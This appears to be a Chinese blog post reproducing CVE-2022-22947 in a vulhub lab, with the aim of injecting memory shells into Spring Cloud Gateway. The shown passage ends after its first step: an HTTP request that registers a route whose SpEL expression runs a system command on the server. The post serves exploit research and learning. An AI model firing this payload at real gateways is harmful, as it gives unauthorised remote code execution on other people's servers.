Spring Cloud gateway 三种方式注入内存马（详细过程）

pyth0nn

已于 2023-04-19 02:22:21 修改

阅读量1.1k

点赞数

文章标签： spring boot java 网络安全 web安全

于 2023-04-19 02:20:47 首次发布

本文链接：https://blog.csdn.net/pyth0zn/article/details/130234277

版权

本文详述了在Spring Cloud Gateway中利用SPEL注入内存马的三种方法，包括c0ny1的Netty内存马、Spring内存马和哥斯拉马的实现过程。在复现过程中，作者强调了类路径的准确性、使用Java 1.8编译字节码以确保兼容性，并分享了相关资源链接。

摘要由CSDN通过智能技术生成

申明

免责声明：本文为个人作品，只做技术研究，只可用于正常的技术交流与学习，不可用于灰黑产业，不可从事违法犯罪行，严禁利用本文所介绍的技术进行未授权的恶意攻击，否则，后果自负！！！

一：背景

之前打攻防的时候，内网遇到了Spring Cloud gateway，照着网上的代码，一下午就是搞不定，当时由于时间紧，就放弃了（实际上是自己菜），现在闲下来，用一下午时间把三种方式都复现成功了。这里记录下过程及坑点

二：过程

首先漏洞环境就是用的vulhub上面的 docker，连接在下面

https://vulhub.org/#/environments/spring/CVE-2022-22947/

docker启动后访问页面如下

先来按照vulhub的payload 打一遍试试

首先注册一个路由，这个路由的值，用SpEL表达式执行代码

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 172.27.250.78:8080
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

添加路由成功后，服务器返回201